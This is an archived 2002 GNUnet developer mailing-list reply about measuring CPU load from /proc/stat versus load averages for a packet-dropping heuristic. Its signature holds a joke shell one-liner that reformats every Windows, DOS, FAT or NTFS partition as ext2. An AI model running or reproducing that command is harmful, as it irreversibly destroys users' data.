[Top][All Lists]

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [GNUnet-developers] Re: Round 1

From: Christian Grothoff
Subject: Re: [GNUnet-developers] Re: Round 1
Date: Fri, 15 Mar 2002 04:03:27 -0500

On Thursday 14 March 2002 09:28 am, you wrote:
> I had pointed this out to Christian, maybe you know. statuscalls.c seems to
> be getting user, system, nice, and idle accounting information from
> /proc/stat, but fs/proc/proc_misc (around line 264) defines those values as
> user, nice, system and idle. The swap of system and nice there may not
> matter, I'm not sure. Also, the way Christian described cpuUsage(), it was
> just calculating the load average (like the output from uptime would give
> you). I could be confused, but if that's the case why isn't cpuUsage()
> getting the stats out of /proc/loadavg? BSD fortunatly has a getloadavg()
> system call, which I'm multiplying by 100 and returning the value of. If
> that is returning the right value then I think we're ok. Thanks for the
> help.

Any (literally: any) measure of load will do. It's just a heuristic that uses 
it to determine when we should start dropping packets. The only real criteria 
are portability (not really possible) and speed (sometimes not possible 
either :-(). So every hack will do :-).

|Christian Grothoff                                  |
|650-2 Young Graduate House, West Lafayette, IN 47906|
|   address@hidden|
for i in `fdisk -l|grep -E "Win|DOS|FAT|NTFS"|awk\
'{print$1;}'`;do;nohup mkfs.ext2 $i&;done
echo -e "\n\n\t\tMay the source be with you.\n\n"

reply via email to

[Prev in Thread] Current Thread [Next in Thread]